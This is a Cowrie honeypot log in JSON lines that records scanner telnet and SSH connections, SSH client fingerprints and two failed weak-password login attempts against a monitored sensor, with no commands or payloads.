{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53880,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ac2b56ba18","protocol":"telnet","message":"New connection: 114.23.51.89:53880 (159.203.135.109:23) [session: 32ac2b56ba18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:48.275284Z"}
{"eventid":"cowrie.session.closed","duration":31.35909938812256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:50.582597Z","src_ip":"114.23.51.89","session":"6da33bec4953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":55624,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc7af639a8e","protocol":"telnet","message":"New connection: 185.207.250.135:55624 (159.203.135.109:23) [session: ddc7af639a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:50.587289Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":56044,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c55d1c8cf21","protocol":"telnet","message":"New connection: 185.207.250.135:56044 (159.203.135.109:23) [session: 8c55d1c8cf21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:50.981890Z"}
{"eventid":"cowrie.session.closed","duration":30.281565189361572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:51.068612Z","src_ip":"185.207.250.135","session":"aebea60d9162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40520191192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:51.123737Z","src_ip":"185.207.250.135","session":"c41ba0f8655e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":56518,"dst_ip":"159.203.135.109","dst_port":23,"session":"217ebd6f93de","protocol":"telnet","message":"New connection: 185.207.250.135:56518 (159.203.135.109:23) [session: 217ebd6f93de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:51.445579Z"}
{"eventid":"cowrie.session.closed","duration":30.806049585342407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:51.511476Z","src_ip":"114.23.51.89","session":"adc23e37ffca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bffa1e0d56a","protocol":"telnet","message":"New connection: 185.207.250.135:56794 (159.203.135.109:23) [session: 5bffa1e0d56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:51.744339Z"}
{"eventid":"cowrie.session.closed","duration":34.45974040031433,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:52.118399Z","src_ip":"23.254.167.244","session":"6a507f2afd48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":57370,"dst_ip":"159.203.135.109","dst_port":23,"session":"0711a697c12c","protocol":"telnet","message":"New connection: 185.207.250.135:57370 (159.203.135.109:23) [session: 0711a697c12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:52.166455Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53910,"dst_ip":"159.203.135.109","dst_port":23,"session":"b98b26ac55fc","protocol":"telnet","message":"New connection: 114.23.51.89:53910 (159.203.135.109:23) [session: b98b26ac55fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:52.825342Z"}
{"eventid":"cowrie.session.closed","duration":31.24957585334778,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:52.949463Z","src_ip":"114.23.51.89","session":"b2f8517d23f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.329190969467163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:53.183946Z","src_ip":"114.23.51.89","session":"571d83bf3411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.615285396575928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:53.212935Z","src_ip":"114.23.51.89","session":"fd447eafec35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.258147478103638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:53.243258Z","src_ip":"114.23.51.89","session":"162188b9b924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53896,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8af7e6784ff","protocol":"telnet","message":"New connection: 114.23.51.89:53896 (159.203.135.109:23) [session: f8af7e6784ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:53.606031Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53920,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b278d2aaef","protocol":"telnet","message":"New connection: 114.23.51.89:53920 (159.203.135.109:23) [session: 90b278d2aaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:54.724900Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":33430,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f78f7e2618","protocol":"telnet","message":"New connection: 185.207.250.135:33430 (159.203.135.109:23) [session: 33f78f7e2618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:55.394023Z"}
{"eventid":"cowrie.session.closed","duration":30.795425415039062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:55.468699Z","src_ip":"114.23.51.89","session":"c0fd07e71442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829857349395752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:56.729226Z","src_ip":"114.23.51.89","session":"255287a63054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38580,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4c9b7cd9ae8","protocol":"telnet","message":"New connection: 209.159.146.115:38580 (159.203.135.109:23) [session: d4c9b7cd9ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:57.586403Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53932,"dst_ip":"159.203.135.109","dst_port":23,"session":"98adea476713","protocol":"telnet","message":"New connection: 114.23.51.89:53932 (159.203.135.109:23) [session: 98adea476713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:57.892192Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":36832,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5b2c90f20e0","protocol":"telnet","message":"New connection: 185.207.250.135:36832 (159.203.135.109:23) [session: c5b2c90f20e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:58.239149Z"}
{"eventid":"cowrie.session.closed","duration":34.73961901664734,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:58.275248Z","src_ip":"209.159.146.115","session":"d1573d77ad4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69298505783081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:58.462665Z","src_ip":"114.23.51.89","session":"3fc935287f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799283266067505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:58.752522Z","src_ip":"114.23.51.89","session":"b712a5f6b7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19910407066345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:59.616849Z","src_ip":"23.254.167.244","session":"61c09193046b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98135328292847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:00.571515Z","src_ip":"23.254.167.244","session":"ef8507d2a24f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":40322,"dst_ip":"159.203.135.109","dst_port":23,"session":"551c7d3e5e2b","protocol":"telnet","message":"New connection: 185.207.250.135:40322 (159.203.135.109:23) [session: 551c7d3e5e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:01.188064Z"}
{"eventid":"cowrie.session.closed","duration":30.667147874832153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:01.219573Z","src_ip":"114.23.51.89","session":"ae1510b88794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59825325012207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:01.345845Z","src_ip":"114.23.51.89","session":"a073fb12c731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41250,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f578ba878e1","protocol":"telnet","message":"New connection: 114.23.51.89:41250 (159.203.135.109:23) [session: 1f578ba878e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:01.658788Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41260,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5ffc5be1c26","protocol":"telnet","message":"New connection: 114.23.51.89:41260 (159.203.135.109:23) [session: a5ffc5be1c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:01.786421Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":34666,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7ab3d74df2","protocol":"ssh","message":"New connection: 20.244.18.126:34666 (10.17.0.5:22) [session: fe7ab3d74df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.358290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.363836Z","src_ip":"20.244.18.126","session":"fe7ab3d74df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.552883Z","src_ip":"20.244.18.126","session":"fe7ab3d74df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.386999368667603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.651482Z","src_ip":"114.23.51.89","session":"49029f58cada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22866439819336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.676252Z","src_ip":"114.23.51.89","session":"642d93f0ca70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.048396825790405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.681751Z","src_ip":"114.23.51.89","session":"f2184744c3aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.140430212020874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.686516Z","src_ip":"209.159.146.115","session":"14aa11c0811f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.632732152938843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:02.776882Z","src_ip":"114.23.51.89","session":"7f19fe3f2d77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.377588510513306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:03.306487Z","src_ip":"114.23.51.89","session":"fb1143a18817","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"test123","message":"login attempt [deploy/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:03.338045Z","src_ip":"20.244.18.126","session":"fe7ab3d74df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41266,"dst_ip":"159.203.135.109","dst_port":23,"session":"16557da875a7","protocol":"telnet","message":"New connection: 114.23.51.89:41266 (159.203.135.109:23) [session: 16557da875a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:03.623055Z"}
{"eventid":"cowrie.session.closed","duration":31.581146955490112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:03.867174Z","src_ip":"185.207.250.135","session":"19533b315ecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41282,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a59efee81b","protocol":"telnet","message":"New connection: 114.23.51.89:41282 (159.203.135.109:23) [session: 67a59efee81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:03.889641Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41292,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4462ff4abb","protocol":"telnet","message":"New connection: 114.23.51.89:41292 (159.203.135.109:23) [session: de4462ff4abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:04.380004Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:04.528134Z","src_ip":"20.244.18.126","session":"fe7ab3d74df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.989917755126953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:05.094790Z","src_ip":"114.23.51.89","session":"9b6056081745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.451430320739746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:05.542001Z","src_ip":"114.23.51.89","session":"cc5f8480351b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41304,"dst_ip":"159.203.135.109","dst_port":23,"session":"e973c81033fe","protocol":"telnet","message":"New connection: 114.23.51.89:41304 (159.203.135.109:23) [session: e973c81033fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:06.732983Z"}
{"eventid":"cowrie.session.closed","duration":31.677414417266846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:06.776754Z","src_ip":"114.23.51.89","session":"f8c4df0e3ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41306,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d4a6a5b036","protocol":"telnet","message":"New connection: 114.23.51.89:41306 (159.203.135.109:23) [session: 81d4a6a5b036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:07.201269Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":41312,"dst_ip":"159.203.135.109","dst_port":23,"session":"01139bece7c0","protocol":"telnet","message":"New connection: 114.23.51.89:41312 (159.203.135.109:23) [session: 01139bece7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:07.478676Z"}
{"eventid":"cowrie.session.closed","duration":31.66299867630005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:07.833820Z","src_ip":"114.23.51.89","session":"0a75e99ef8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c06f1927908d","protocol":"telnet","message":"New connection: 23.254.167.244:43766 (159.203.135.109:23) [session: c06f1927908d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:07.888650Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53954,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d09799aa43","protocol":"telnet","message":"New connection: 114.23.51.89:53954 (159.203.135.109:23) [session: 88d09799aa43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:08.272761Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb83ef637c2d","protocol":"telnet","message":"New connection: 185.207.250.135:47940 (159.203.135.109:23) [session: fb83ef637c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:08.388260Z"}
{"eventid":"cowrie.session.closed","duration":31.300012826919556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:08.539017Z","src_ip":"114.23.51.89","session":"b212bb0131f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58412,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa4aa5700953","protocol":"ssh","message":"New connection: 159.203.92.129:58412 (159.203.135.109:22) [session: aa4aa5700953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:08.774289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:08.779762Z","src_ip":"159.203.92.129","session":"aa4aa5700953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:08.789115Z","src_ip":"159.203.92.129","session":"aa4aa5700953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"111111","message":"login attempt [anna/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:08.804435Z","src_ip":"159.203.92.129","session":"aa4aa5700953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.241145610809326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:09.231303Z","src_ip":"185.207.250.135","session":"0f55079793d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53960,"dst_ip":"159.203.135.109","dst_port":23,"session":"e43633db614d","protocol":"telnet","message":"New connection: 114.23.51.89:53960 (159.203.135.109:23) [session: e43633db614d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:09.285790Z"}
{"eventid":"cowrie.session.closed","duration":31.61855983734131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:09.603998Z","src_ip":"114.23.51.89","session":"d39145f2f48c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:09.811368Z","src_ip":"159.203.92.129","session":"aa4aa5700953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46106,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed8514ffc3c","protocol":"telnet","message":"New connection: 23.254.167.244:46106 (159.203.135.109:23) [session: 3ed8514ffc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:10.329481Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":53976,"dst_ip":"159.203.135.109","dst_port":23,"session":"2273f893fd14","protocol":"telnet","message":"New connection: 114.23.51.89:53976 (159.203.135.109:23) [session: 2273f893fd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:10.589907Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39684,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ccbf17bd19f","protocol":"telnet","message":"New connection: 209.159.146.115:39684 (159.203.135.109:23) [session: 9ccbf17bd19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:21:10.944855Z"}
